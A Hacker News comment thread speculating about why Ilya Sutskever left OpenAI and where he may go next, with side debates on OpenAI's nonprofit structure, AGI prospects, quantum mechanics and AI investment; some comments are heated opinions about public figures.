Like the effective altruists bought themselves a castle with SBF's money - in the best interests of humanity, obviously.
If we can't even align OpenAI the organisation full of humans then I'm not sure how well AI alignment can possibly go...
Okay this is reasonable, thanks for clarifying
Why would that be presumable when his goodbye statement clearly states the opposite?
This is baseless fear mongering given that.
Why does everyone here think that the guy who quit/lost his job at OpenAI because he didn't agree with their corporate shift and departure from the original non-profit vision is going to be lining up for another big corporate job building closed for-profit AI?
>the guy who quit/lost his job at OpenAI because he didn't agree with their corporate shift and departure from the original non-profit vision
There is no evidence of this being true.
He is one of the biggest proponents of keeping AI closed-source, by the way.
> He is one of the biggest proponents of keeping AI closed-source, by the way.
From quite different reasons than profit, tho
That's a naive way of thinking. Keeping it closed source would only make it available to the highest bidder on the black market.
The big reason is that when push comes to shove, most of these people don't have any principles.
Sure, if they are in a position of power they will wield it how they want. When he caused the whole fiasco, he probably thought it was going to work.
But if the choice is between losing the position of influence, or deciding between what position of influence to accept next, well you'll see that the principles are very flexible.
We already saw this happen with a few of the "safety" researchers that got fired from OpenAI, and yet started working on X AI (I think?), which is definitely not know for "safety".
Maybe “better the devil you know than the devil you don't” applies?
Then...he would have stayed at OpenAI.
I am hoping he goes open source or to Meta
I’m not surprised with what happened with Sam Altmans ousting. He missed the king.
I’m surprised he lasted this long.
Mira Murati also "missed the king" and just delivered the keynote
Seems like she was more appointed, than actually trying to make moves?
Not according to the reporting
Where was this reported?
https://www.nytimes.com/2024/03/07/technology/openai-executi...
Reid Hoffman provided some clear (at least to me) evidence for Mira's non-involvement → https://youtu.be/IgcUOOI-egk?si=FiSPt87v3pM3lfKt&t=851
Someone just above posted this, which shows that she did reach out to the board with concerns about his leadership style prior to the ouster: https://www.nytimes.com/2024/03/07/technology/openai-executi...
[flagged]
What makes you say that? I have barely any idea who she is outside of this thread.
Care to elaborate? And who's the biggest?
I’ve heard this sentiment from others but don’t know much about it. Can you say more? Is it because of her background (product management)? If she doesn’t have any skills why do you think Sam Altman keeps her around - if she a Sam supporter?
Dont say that out loud though...
Great, now I have that whistling stuck in my head again.
Thanks for the reminder though, been a while since I've thought of The Wire :)
Oh, indeed.
I wonder if he thinks LLMs are an AGI dead end and he's not interested in selling a product. There's some academic papers floating around coming to the same conclusion (no links. sorry, studying for a cert exam).
That's been my assumption since the beginning of this drama last year. He seems to have one goal: real AGI. He knows that while LLMs may make something that seems like AGI there's nothing actually intelligent about it and its never going to get them there. OpenAI wants to pivot and sell sell sell because all they see is potential trillions of dollars, and it's time to make money instead of burning more millions/billions chasing a dream.
Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
This is counter to every interview ilya has ever given since gpt3--he believes scaling llms can get there that's why they scaled to gpt4 scales at all.
There is more money in AGI than LLMs.
Whatever it is, language seems key to intelligent algorithms.
Nah, he departed due to politics (failed coup) and shift from research first to profit first. Same with Karpathy I believe.
He’ll most likely go somewhere where he can get a lot of compute and go back to research first.
> There is more money in AGI than LLMs.
I'd argue there's no money in AGI. Such a technology actually being available would be such a seismic shift in society that it breaks every commonly accepted economic norm we have today.
Real AGI means ALL knowledge workers are effectively out of a job. And AGI + advanced robotics means everyone is out of a job. Once no one has jobs, money loses all purpose.
Whatever company invented AGI, if it ever happens, may rule the world but it won't be with money.
> There is more money in AGI than LLMs.
That doesn't matter, they know how to do LLMs, they don't know how to do AGI. To modern capitalists that means you invest in one and the other someone else can do.
OpenAI was exploratory until they found something that could make them rich, then they went closed and for profit, now you should see them as just another for profit.
They are a nonprofit.
https://www.forbes.com/sites/jamesbroughel/2023/12/09/openai...
Like Google?
> it's time to make money instead of burning more millions/billions chasing a dream.
The investors want their money before people realise they have been oversold the dream/threat of AGI.
> Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
The market to believe in made-up stories is alaways strong.
Isn't it consensus that AGI will never arise from LLMs?
Just based on current energy usage never going to happen. You just have to ask them to show you their energy bills alongside their demos.
A plane takes a LOT more energy than a bird, yet both fly, one of them a lot faster.
A plane is good at hauling cargo and goes fast, but general flying skills? Doesn't even come close.
Exactly, a giant LLM is not even close to be as power efficient as a human brain, in the same vein as a plane isn't as good at general flying. Yet it provides huge value and in many dimensions (that are important to us as humans) a plane can do way more than any bird.
Honestly, is ChatGPT providing huge value yet though ?
It’s cool and all. But I’m not sure if I’d say it’s as useful as flight yet.
If I could choose between LLm access and aviation, I’d stick with aviation.
There is no such consensus.
Great point. I should have phrased it "majority consensus", my bad.
No... A good number of folks will even go so far as to say that "all we do" is token prediction too. It's worth noting -- OpenAI founder Elon Musk claims in a lawsuit that the company has achieved AGI. Make of that what you will, but certainly there are many people on this site who believe in the general potential of LLMs.
Elon also claims that Tesla has solved full self driving, has announced robotaxis, while the SEC is investigating him for "inappropriate forward-looking statements".
Yeah, I study* that way too.
*procrastinate
> Yeah, I study* that way too
I’m not the only one?
So this is what it’s like when doves cry! - Milhouse
Funny
Altman's tweet (https://x.com/sama/status/1790518031640347056?s=46) makes it seem as if he wanted to stay, and Ilya disagreed and "chose" to depart. Very interesting framing.
PR statement. After nearly being ousted, I'm sure Sam is relieved to have a thorn removed from his side.
It could be a PR statement, it could also be genuine. From outside looking in there's no way to know, so I will just pretend this tweet doesn't exist.
It's PR for sure. A genuine announcement would have addressed the elephant in the room.
Sorry, which elephant?
That this was an employee who conspired against him in a failed palace coup
I think calling it a "palace coup" gives it an inappropriate framing of what happened.
I definitely think that how the board handled the situation was very inept, and I think the naivety over the blowback they would receive was one of the most surprising things for me. But after reading more about the details of what happened, and particularly writings and interviews given by the former board members, I don't think any of them did this out of any particular lust for power, or even as some sort of payback for a grudge. It seemed like all of them had real, valid concerns over Sam's leadership. Did those concerns warrant Sam's firing? From what I've read, I'm of the opinion they didn't, but obviously as just some rando on the Internet, what do I know. But I do think that there were substantive issues in question, and calling it a "palace coup" diminishes these valid concerns in my mind.
I'm not moralizing. There are palace coups that are justified.
At the time, Sam was more powerful than Ilya for sure. But framing their relationship as employee/employer when they were both in the board seems not correct.
Sam's employer is who, the US taxpayer?
Someone has already tried doing that, and it's pretty close:
https://twitter.com/eli_schein/status/1790520139164614820
Altman is the biggest con artist in tech.
Con artist is a bad description. The guy is legit dangerous. He's not after swindling you out of your money, that wouldn't be worth it.
What’s the con? Aren’t they constantly delivering frontier models?
I would say specifically the sort of chuunibyou cringe endemic to"AI safety" of claiming that their models are an existential threat.
Agree with the sentiment.
But Sam as 'conman' might just be the impression because he is more on the promotion/marketing side.
I've been under the impression that Ilya is the brains. So this seems bad for long term growth.
Surely he would have never gotten his current role if that is the case. There's way too much money and visibility involved.
Exactly. He’s only founded and led a company that’s built some of the most easily adoptable and exciting innovations in human-computer interactions in the last decade. Total fraud!
and which company would that be?
Loopt
And WorldCoin.
This was easily the most PR tweet of our generation.
The fact Ilya himself tweeted about it too was also easily the most PR tweet of our generation.
:D
Yeah, like when Cheney shot Harry Whittington and it was Whittington that apologized.
Since it's all in proper casing I'm going to assume he wrote it with chatgpt.
Or GPT-5 went rogue, took out the senior staff, and is running the game now, Westworld style.
He also literally mentioned Ilya's personal project; something that ChatGPT would do (it repeats parts of the prompt).
Ironically built by Ilya
Real life Miles Dyson
He used “easily one of the greatest minds of our generation” for two different people in the same message. 100% ai generated
it said one was "easily one of the greatest", and it said the second was "also easily one of the greatest"... it's puffery but it's not an awkward or mindless formulation.
doesn't read like chatgpt to me, but i certainly wouldn't call it good quality writing
AI or GPT usually doesn't repeat like that. Although it usually is easy to tell if something is GPT.
They probably avoid making it look like their writing is written with chatgpt.
I thought so, but they must've changed a lot then. In any case it's not like the type of message they wrote is something special, and it's just usual polite PR.
Good observation lol.
Nah. It’s same platitudes that’s always said when a someone high profile is fired.
> Ilya is easily one of the greatest minds of our generation ...
> Jakub is also easily one of the greatest minds of our generation ...
Phew, I was worried he'd be irreplaceable or something. Hopefully they've already standardized the comp package.
Easily the most plat of all platitudes of our generation
Personally I don’t trust much of anything sam says, so I’d take any framing with a large grain of salt
> a large grain of salt
You mean a lump of salt? I've always wondered what the right word is to describe this amount of salt /!jk
I've been offered a "lump" of sugar before, and it was not a single sugar crystal. When I hear "large grain of salt" I imagine something like this https://crystalverse.com/sodium-chloride-crystals/, quite different than a lump.
Those huge salt cubes are so fascinating! New side project added to the list...
That is absolutely brillant and will make a fantastic week-long father-daughter science project. Thanks.
Now back to figuring out something new for a 6-year old to program using Scratch...
I'm 37 and it's also going to make a great me-me project.
I usually use "a few bags of salt" to imply that I don't trust the source.
perhaps a "mountain of salt" in this case?
A handful of salt
A pinch of salt
a highway road side storage yard of salt
Boulder?
It’s too nice. Nobody is this nice. It’s like Truman Show nice.
While he does say, he is leaving for some personal and meaningful project, let’s see what it ends up being.
That "personal and meaningful" can just mean anything.
More like hustle culture’s “spend more time with the family”
Spend more time with my side projects.
He’s got a good PR team.
[flagged]
Funny enough people will still call OpenAI “an engineering led company” when very obviously it’s slowly being taken over by the same MBAs as Google
Sam "Worldcoin" Altman regrets the loss of a friend that called him out on how OpenAi is becoming closed because the engineers realized they could make a lot of money. Doesn't seem like it is impacting the quality of the models, but it will probably impact openai's impact.
Can you blame the engineers? If you realize LLM tech is neat but ultimately overhyped and probably decades away from truly realizing the promises of general purpose AI, why not just switch goals to making as much money as you can?
Yes you absolutely can blame them for it. This type of shift (and a million other possible permutations) is why we invented the concept of "charters" around the same time we invented writing.
The entire point of the pre-commitment device is because you (or other stakeholders) are anticipating that your thinking will get distorted over time. If you could be trusted to make such a decision in the future then you wouldn't have written a charter to bind yourself.
It’s like joining a non profit trying to protect the rain forest and then finding gold. They say screw the forest let’s mine gold now. Do the original employees then stay. Same here. Greed infected them all
Weclome to San Francisco
Good comparison.
Yes. They joined OpenAI with the understanding that it was meant to be an non-profit with a mission to benefit humanity.
This entire saga is really an example of the absurdity of non-profits and philanthropy in general.
The only difference between nonprofit and for-profit entities is that nonprofits divert their profits to a nebulous “cause”, with the investors receiving nothing, while for-profits can distribute profits to their funders.
Other than that, they are free to operate identically.
Generally, entities subject to competitive pressures and with incentives for performance are much better at “benefitting humanity.” Therefore, non-profit status really only makes sense when, one, a profitable enterprise oriented around the intended result isn’t viable (e.g., conservation) or two, there’s a stakeholder that we’ve decided ought to be sheltered from the dynamics of private enterprise, e.g, university students or neutral public broadcasters.
But even in these cases, the non-profit entities basically behave like profit-oriented companies, because their goal is still profitability, just without a return to investors.
OpenAI as a nonprofit would behave the exact same way. There’s no law that the models would have to be open. They’d still be making closed models, charging users, and paying massive salaries. Literally the only difference is that they wouldn’t be able to return money to their investors, and therefore have a much harder time attracting investors, and therefore be less equipped to accomplishing their goal of developing powerful AI.
The irony is that nonprofits are usually only good for things that make for shitty businesses, and things that make shitty businesses usually aren’t that beneficial to humanity. As soon as something becomes really good at what it does, for-profit status makes sense.
What this means, imo, is that most philanthropy dollars are wasted and we would be much better off if they were invested instead. The irony is that this is the point of much philanthropic giving - it ends up being a game of how much money you can burn on nothing, a crass status symbol.
Matt Levine likes to say that the big Wall Street banks are socialist paradises that funnel almost all of the returns to the workers.
It happens everywhere
Did you not read what I said? They joined a non-profit and eventually realized the mission is futile.
I read what you said, and I apologize for not being a bit more clear.
I completely understand your perspective, and I hope I'm always strong enough to listen to my conscience and obey my morals.
One of the first interviews I was ever offered in a technical role was for Bechtel, in 2004. I was desperate to break into a career, I accepted the interview. I was in the car driving to the location, and just realized I couldn't do it. I couldn't ignore my morality to work for such a clear and direct war profiteer, that as a private company, had no oversight.
If I join a non-profit that has a humanitarian mission, I do so because I'm into the mission and feel fulfilled by that more than my comp. I can't imagine trading that in just because @sama got thirsty.
The mission is futile, the mission at this organization has been compromised and corrupted. Resign and continue your mission elsewhere.
So dissolve it, return the money, go start a commercial enterprise, then raise some money.
I’m sure that’s what each and every member of Hackernews would have done in the same position.
Hmm no, I don't think that's the case, but what exactly is the legal or ethical relevance of it?
You don't generally get to excuse bad behavior because you can make up a hypothetical different person doing the same bad thing in that situation.
Not all of us are as morally bankrupt as that. I personally think I could make tons of money with a dumb AI product in my specific area of expertise, but I don’t see how any tech from today would improve outcomes versus the SOTA that’s not AI, but it would add costs and complexity. I would personally be annoyed if a company I worked at changed its goals to make money rather than something more noble. It’s happened a few times to me, unfortunately.
Not all, but also not enough.
It is career limiting to have morals.
It's much harder living without strong moral virtue.
No matter what path you choose, you still die.
Sure, after fees and expenses..
This is a great observation which I have not heard before. I think it greatly changes the way I think about openAI’s success/infamy
Oklo as well
[flagged]
There’s a halo around Ilya Sutskever as the Albert Einstein of AI. Are there others on par with his— umm, how would you qualify it—- AI intuition or are we idolizing?
You have used an excellent term: AI intuition. This quality is extremely rare. Einstein probably had a similar kind of intuition in physics, and maybe that's why he was so successful. The ability to see what direction to pursue. Ilya has demonstrated it again and again, first with Alexnet (Hinton said Ilya was the person driving the project, believing in its success when no one else did, while Alex was the main implementer), then with OpenAI when he believed scaling up models is "all we need" to get to AGI, when very few people would agree with that. Today he believes the alignment is very important - perhaps we should listen to him.
Einstein famously disagreed with many facets of QM that we now believe to be true or at least closer to the truth than he was.
That might be because he didn't like what he discovered, or the results didn't make sense to him. But it was the intuition that got him there in the first place.
But you have a good point. Ilya got us so much closer to AGI, but he might not like the results now.
Doesn't that depend on the interpretation of QM? There are still physicists who defend hidden variables and determinism. It should be noted Einstein was arguing with the founders of the Copenhagen interpretation, which has left many physicists dissatisfied. Sean Carol being a prominent current detractor (although is version of determinism is Many Worlds).
Einstein wasn't arguing just against the Copenhagen interpretation, he was arguing against the very notion of physical nondeterminism.
In fact, his arguments against nonlocality were later disproven experimentally in the '80s, as quantum mechanics allowed for much higher fidelity predictions than could be explained by a hidden variable theory [0].
I don't think anyone _likes_ the Copenhagen interpretation per se, it's just the least objectionable choice (if you have to make one at all). Many-worlds sounds cool and all until you realize that it's essentially impossible to verify experimentally, and at that point you're discussing philosophy and what-if more than physics.
Intuition only gets you as far as the accuracy of your mental model. Is it intuitive that the volume enclosed by the unit hypersphere approaches zero [1] as its dimensions go to infinity? Or that photons have momentum, but no mass? Or you can draw higher-dimension Venn diagrams with sectors that have negative area? If these all make intuitive sense to you, I'm jealous that your intuition extends further than mine.
[0] https://en.wikipedia.org/wiki/Bell_test
[1] https://en.wikipedia.org/wiki/Volume_of_an_n-ball
Many-worlds is not necessarily impossible to verify experimentally, because it predicts that there is no collapse of the wave function, whereas Copenhagen claims that there is. Many-worlds is not just an interpretation in that sense, it’s a theory that makes predictions (by reasoning about what happens when the wave function is all there is and always evolves according to the Schroedinger equation — it is a deterministic theory in that sense). I believe Einstein would have liked it, given the experimental evidence we have since.
Copenhagen, on the other hand, doesn’t offer a workable model of how and when the wave function collapses, and doesn’t offer any predictions in that way (there are theories of wave function collapse that actually make predictions — some of which have already been falsified by experiment). For that reason Copenhagen isn’t “least objectionable”.
One of the key phrases I said was "(if you have to make one at all)" -- wavefunction collapse is inherently messy, since the notion of measurement is not well-defined or understood. I would argue that "don't care" is likely a more common interpretation among practicing physicists (of which I am emphatically not!), as this is very much in a realm where general intuition largely does not apply.
Copenhagen is basically an admission that we have no good intuition for why QM behaves the way it does, and wavefunction collapse is merely a way of justifying existing observations within the framework of QM.
IMO all the discussion about how wavefunction collapse doesn't scale to larger ensembles of particles, or the boundary between QM and Newtonian mechanics being ill-defined is noise -- the bridge between the two is statistical mechanics, where classical mechanics only arises from sufficiently large macrostates such that you can aggregate out any quantum mechanical properties. And QM is generally understood to be a toy model in the same way that Newtonian mechanics is a toy model -- it's useful in the realm where we use it, but when you push beyond the limits of that realm, its deficiencies become apparent.
That's why I don't think the proposed experiments to test many-worlds are particularly meaningful (since AFAIK they all seem to involve performing interference on enormous ensembles on the scale of entire humans) -- it's well beyond the limits of where QM is useful (also, I personally don't think we'll ever be able to operate quantum-mechanically at that scale).
There's no AGI yet. It's unclear that scaling up existing models gets anyone there. But if it was already here, alignment would be too late.
I think you're idolizing perhaps.
There's no doubt Ilya is highly respected in the field, but not to the same extent as Albert Einstein is in physics.
Maybe with time, but certainly not today.
Personality cult.
He's certainly got the hair down!
Elon Musk and Larry Page broke their friendship over Ilya's move from Google to OpenAI. There's more than just cult around a personality here, when two of the most powerful people in tech, who are also friends, go to war over you.
I don't believe it was that. I thought Elon most recently said it was Page calling Elon a "speciesist" when Elon cared that humans need to still exist, while Page is of the e/acc bit that AI's are our successors and the most competitive between them and us should go on.
You miss remember: https://www.youtube.com/watch?v=7nORLckDnmg&t=75
mirror: https://ghostarchive.org/varchive/7nORLckDnmg (1m 15s)
Ok, corrected. They got into a heated argument about what I was saying, but Elon says it's about recruiting Ilya.
That is one side of the story.
Yann LeCun is better known, right?
Schmidhüber
[flagged]
Reifing, you can't help but not in English. Capabilities are given intention, intentions given classes, and godhood is a class...
I hope Ilya takes care of himself. I can imagine that what happened during the past year is not helpful for one's mental health. I assume the presented relationship with Sam Altman does not reflect reality and the external press surely also causes a lot of pressure.
didn't know this. can you explain or link a few articles?
Ilya will literally have a blank check from almost all the VC's in the industry.
And probably all of the big tech CEOs are trying to get him on the phone right now.
Except all the big tech CEOs have head AI honchos who are huge names in their own right, eg yann for meta and demis for Google. Probably couldn't bring him into those places without ruffling some pretty big feathers
Not Apple... At least as far as I known.
But Apple now seemed to enter some kind of agreement with OpenAI, not sure if Ilya or OpenAI would want to work together even via proxy.
Wouldn’t they have had convos weeks ago and this is just making it official?
Sure some people do ‘jump off the burning platform’, but most like to have some alternative options worked out.
well he already mentioned a new project in the original tweet, so need to speculate, it sounds like he's already decided
That would be highly irresponsible of them to hire someone who went directly against leadership with an attempted coup.
Stability will most likely make him CEO.
He was on the board! He was leadership!
All the executives are computer science majors …
[flagged]
Comments like this make me wonder whether I'm on reddit or HN.
The future trajectory of AI isn't tied to Nvidia's stock in the same way the web didn't thrive or die on Cisco being the most valuable company in the world 24 years ago.
Perhaps not in general, but if the barrier of entry is radically lowered - such as if a new technique that drastically lowers the compute required for training is discovered - then Nvidia and a whole host of startups will lose lot of value. A lot of the positions assumes LLMs will remain SotA in the foreseeable future, which is not a bet I'd take.
Even if that doesn't happen, there will be a lot of consolidation and bankruptcies when AI funding dries up when category winners become clear and investors cur their losses - the same happened suddenly when the dot-com bubble burst, and little more gently with "web 2.0" startups
If the barrier to entry is lowered I don't see Nvidia losing a dime... Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality. That would then kick off the race to true reasoning and AGI/ASI, and if achieved, all bets are off after that point.
If no training breakthrough occurs, then your second option is much more likely.
> Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality
I was thinking along the lines of how Sun Microsystems and big-iron were dethroned by good-enough commodity x86 servers + Linux. The two coexisted... for a short while.
All while x86 morphed to x64 and gained back many of the features of big iron.
Much of the problem with PC software at the time was one of scaling. Getting software to use multiple processors effectively took decades, but the cost difference and ability to actually get the hardware cheap allowed it to win the market... then grow back into systems with hundreds of cores and terabytes of memory because the needs for big iron didn't go away.
With AI/training/LLMs/NNs scale, at least appears, intrinsic. We see this in the animal world. We see insects with a very basic brain capable of interacting with the world and surviving. Then we see mammals with larger brains capable of far more as the scale/complexity/interconnectivity of their brains increases. At least from what we can tell, throwing more power at any given problem will give us a better solution.
Except 24 years ago you didn't need Cisco to write HTML. Your analogy is not correct and it tells me you didn't bother to read my edit.
I really shouldn't have to explain how this bubble ends.
Stock prices go up and down. A stock downswing very rarely has economical consequences for the company whose stock it is, and even more rarely does it have such consequences for other companies.
Yeah what. That guy above you is absolutely blind.
AI is more like Apple and less like the internet. Your rabid fanaticism is what convinces me of its value… not it’s actual value.
"Intelligence isn't valuable" --Guy on HN.
Not all AI is hype. We are just surrounded by so much AI hype it’s easy to forget things like Co-pilot didn’t exist just a couple years ago. To say there’s no value in having an assistant to write code at your direction is incorrect.
The iPhone was legitimately revolutionary. I’m not disagreeing with you. I don’t see its value surviving commoditization.
>Your rabid fanaticism
Recognizing value isn't "Rabid fanaticism" lol.
First: Ilya in particular will be able to raise easily regardless of general market conditions because of his experience and track record.
Second:
> allow me to assist in your understanding of the bigger picture: large funds use VCs as money mules to increase Nvidia GPU sales through investments in AI startups and this is not sustainable.
You have to be trolling (or I'm misunderstanding?) if you're arguing that a large proportion of VC investments are at the direction of LPs who are long NVIDIA, for the sole purpose of furthering that long.
> if large funds are unloading their shares, if executives are cashing out their stock options, who is left to buy the bags?
Literally the buyers purchasing the shares that the large funds and executives are selling.
[flagged]
This kind of wild speculation is not encouraged over here, and most people don't want garbage in the comments that they have to sift through, so "just ignore it" is not a valid defense. See the comment section of the guidelines: https://news.ycombinator.com/newsguidelines.html
> Literally the same people are left with the bag after each bubble
People who buy stocks based on hype, feed bull runs, and proceed to hold and try to time the market, "coincidentally" are usually left holding their bags. That in no way implies any kind of rigging beyond the basic dynamics of the stock market.
[flagged]
Enterprise customers are building their own internal tools, doesn't mean "AI" is dead. It just means useless API wrappers aren't the golden ticket.
A bit of a cooldown on api wrappers would be good. All these crappy startups which have no more value than just gpt4/opus are bizarre. Can’t believe any of them are doing real money.
doubt any correction for NVDA is coming any time soon. big tech is only just started ramping up on v1 model training..
Nope. His non-competes are likely very restrictive.
Non-competes were invalid in the state of California, and now are in the entirety of the U.S. [1]
[1] https://www.ftc.gov/news-events/news/press-releases/2024/04/...
What about NDAs? Are those not enforceable too?
I just want to point out that you have noted this falsehood like five times in this thread already. Noncompetes have been unenforceable in California since 2008, and for over a month federally.
Noncompetes have been illegal in CA for much longer than that. It is literally the reason Silicon Valley exists; Fairchild couldn't enforce theirs.
Most of the VCs have already spent their money in the last couple of years.
So he may have a blank check but not nearly enough to build an OpenAI competitor.
Would love to see him at IBM with full use of their quantum systems.
> Most of the VCs have already spent their money in the last couple of years.
Lol no. There is about ~$500B in VC dollars, not to mention $1.2T in buyout dry powder still floating around. Not to mention venture funds raised continue to grow YoY.
https://www.bain.com/globalassets/noindex/2024/bain_report_g...
I was referring more specifically to the AI segment.
Many of the VCS are over-exposed and still need to have funds to cover follow-on investments in the space. Not buying that there is the widespread appetite to fund a multi-billion new startup like there was a year or two ago.
Some sources are needed to back those claims up. Which VCs are you talking about?
> Would love to see him at IBM with full use of their quantum systems.
I’m picturing a Wild Wild West-style mad scientist, creating a steampunk army from old spare parts from Big Blue and rising up to challenge the cyber people.
Well, no.
No VC who wants anything to do with OpenAI would invest in Ilya.
Ilya represents the anti-OpenAI ethos. So it would only be a VC who would be comfortable publicly being an anti-OpenAI VC, which is not that many.
> Ilya represents the anti-OpenAI ethos.
Can you elaborate more on this? What are some of the things the anti-OpenAI ethos stands for? And why do you think Ilya represents that given he was such a major part of OpenAI for so long?
Am I taking crazy pills or something? Because he was the one who tried to oust Sam like 6 months ago? Did we just all forget that or what?
Again, why would any VC give Ilya money if that in any way signals that they are supporting someone who tried to oust the CEO of OpenAI from within? They wouldn't.
Because he is one of the big brains behind GPT-4; you know, the thing that propelled OpenAI there?
Tell me you don't understand optics and politics without telling me. There's a tiny handful of VCs who have the guts to fund someone who organized a coup against OpenAI.
A "coup" against Putin would be a coup against Russia? Yes, you are taking crazy pills.
VC wants to make money, and there’s a very high probability he can make somebody a lot of it.
He showed exceptionally bad judgement, judgement is perhaps the most important characteristic of high level employees.
He's brilliant, which means someone will take a leap of faith, but he badly, badly damaged his brand as a leader going forward.
Bad judgement? Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people. He's not even an engineer! He has established a cult of personality and popularity, and that's it. They were absolutely right to try to oust him. The only mistake was in doing so in such a ham-fisted manner.
Starting something without a very good plan or being unable to execute on it is a sign of bad judgment.
> Bad judgement?
> Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people
Correct, it would be bad judgement. Because if he really believe in that statement, that Sam Altman is a hyper competent liar and manipulator, doing what Ilya did just led to Sam getting the keys to the kingdom.
This shows extraordinary incompetence from him and the rest of the board.
Biggest free agent since Lebron James
Guy should announce the next step of his career in a one hour TV special. It will easily have as many watchers as OpenAI's keynote.
He will. On Lex Friedman's YouTube channel.
Plot twist: Ilya joins xAI next.
Elon poached Ilya into OpenAI so I'm sure he will be happy to have him around.
If we truly live in the "most entertainig outcome" timeline, this is definitely what's going to happen.
I want this to happen so much now that I heard about it.
Musk involvement was with the money. I really doubt he researched enough to know who Ilya was at the time.
Didn't need all that research. Musk was friends with Larry Page, as Google was leading AI research they were bound to have conversations about the smartest researchers in the team.
Also, you underestimate Elon Musk if you think he's not capable of researching specialists in the fields he is interested in, I believe many people are hellbent on attributing all his successes to dumb luck rather than any sort of competence.
You're right. Being friends with CEOs has a lot of perks. I gotta hand it to Musk, his personality is such that people are eager to give him intelligence on things.
Yep. It's amazing to see how quickly people start denying reality when they don't like someone's beliefs/behavior.
I could acknowledge that a hypothetical smart, woke, furry, trans, porn-addicted programmer that regularly makes great FOSS contributions is intelligent and capable while still disliking their beliefs/behavior.
Separate the "art" from the "artist."
Incorrect, he led a recruiting battle for Ilya: https://www.youtube.com/watch?v=7nORLckDnmg&t=75s
This is plausible, Elon is a fantastic recruiter and he recruited Ilya for OpenAI. There are reports of xAI buying enormous numbers of GPUs and Elon's level of control of his companies means that Ilya recklessness isn't an issue.
It's a match. Probably the best match possible.
> Ilya recklessness...
This allegation calls for more context.
Seems like Elon recklessness is an issue since he's a drug addict who's only started an AI company because he thought the other ones weren't racist enough.
I come to HN for the quality of the discussions, please don't comment like this.
I'm sorry to inform you but constantly doing ketamine makes you paranoid and racist, which makes you bad at running a tech company.
Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
I'm not sure if I agree, but I much prefer this comment to your previous one. Cheers!
[flagged]
Never go against the family, Fredo
Matches the hairline.
I'll say it again - the one who was irreplaceable at OpenAI is Ilya, not Sam.
"Was irreplaceable" != "is still irreplaceable". OpenAI as a company has outgrown any individual engineer or scientist, no matter how smart.
Depends if top talent prioritizes money over values. But usually money wins.
There's no evidence to that.
Ilya Wozskever
Yeah - he's one of the only people I've seen talk on the topic who really seems to understand where it's going and how to get there. It's possible he's evangelized others at OAI who can carry the torch, but I'm skeptical given the degree of pushback the statements most in need of being represented got from his peers.
Just the opinion of an outsider, so not worth very much. But Ilya seemed to be one of the few who actually believed in the mission. I’m sure it was hard for him to watch the company become so product focused.
OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that.
Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
I wonder if that's true at a certain stage of OpenAI, which because of the product bootstrapping skills of Sam and co, has made his role irrelevant?
I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
OpenAI is the Altavista of AI. There's nothing there to scale yet - their product needs another batch of innovations to get good first.
My guess is that Ilya is the one that saddled OpenAI with it's insane structure.
He's brilliant, no doubt, but he shouldn't be in leadership.
Insane structure? I was unaware. What do you mean?
Plot twist he starts his own AI company
and calls it Actually-Open AI
DisclosedAI
[dead]
If Karpathy and Illya join xAI, that would be a fun trajectory.
[flagged]
[flagged]
And the boeing whistleblowers...Hopefully he avoids airplanes.
[flagged]
Too bad they're actually nice people hey?
I don't get why my comment is "flagged". I guess I should just axiomatically accept that they're nice people. ok well..
It read ultra negative to me, like as if they're just shit people. I didn't downvote you , just responded to your message.
[flagged]
Everyone in the photo is @'d in the post. It's @merettm / Jakub Pachocki who is taking over as Chief Scientist. Downvotes are probably because you cheekily mentioned his weight for some reason.
Flagged? I don't get what was offensive about my question. I'll need to learn HN logic I guess.
[flagged]
[flagged]
[flagged]
'Back in May 2023, before Ilya Sutskever started to speak at the event, I sat next to him and told him, “Ilya, I listened to all of your podcast interviews. And unlike Sam Altman, who spread the AI panic all over the place, you sound much more calm, rational, and nuanced. I think you do a really good service to your work, to what you develop, to OpenAI.” He blushed a bit, and said, “Oh, thank you. I appreciate the compliment.”
An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.”
He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.”
The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0]
[0] What Ilya Sutskever Really Wants https://www.aipanic.news/p/what-ilya-sutskever-really-wants
I read the linked article and have no clue what the author is even trying to say..
It reads like a Jackson Pollock.
[flagged]
[flagged]
Again?
Yikes
The future of the company doesn't depend on one engineer. If he left, it's likely because he had a vision that wasn't in line with Sam or Microsoft. Others will take his place and OpenAI will likely reach Elon Musks' recent prediction that AI will improve 100x in the next few years.
So the CEO of Amazon Web Services and the Chief Scientist of OpenAI are on the market on the same day...
I'm not saying it's a conspiracy, but it's an awful big coincidence, especially since today is Tuesday and usually these things happen on a Friday.
Will join Yandex
Source?
It's my assumption
Ilya knows how ChatGPT works. Any company that hires him will be able to catch up with ChatGPT.
Catching up right now is not a matter of tech innovation, but raw energy and compute.
Of course, the next -revolution- in AI could very well come from Ilya. But why would he bestow that honor to anyone? He can self fund it if he wants. It's an R&D project, not a scaling problem.
> Catching up right now is not a matter of tech innovation, but raw energy and compute.
I don't really understand that. ChatGPT is not all that impressive as an actual tool for many things. It doesn't really seem to matter to me what energy and compute is going into it. Will it make it actually work?
If you consider the best frontier LLM in the world "not that impressive," I'm curious to know what you think is
I think the point is not "chatGPT isn't good", it's that no one is beating physics, you can rough out the coefficients on a napkin, and they're playing chicken with who wants to set more piles of money on fire.
It _is_ the best frontier LLM in the world, and virtually the entire global population of people who care about that are in this thread
This will change when the rumors turn out to be true and Apples Siri is powered by OpenAI and a billion people have a working conversational AI in their pocket.
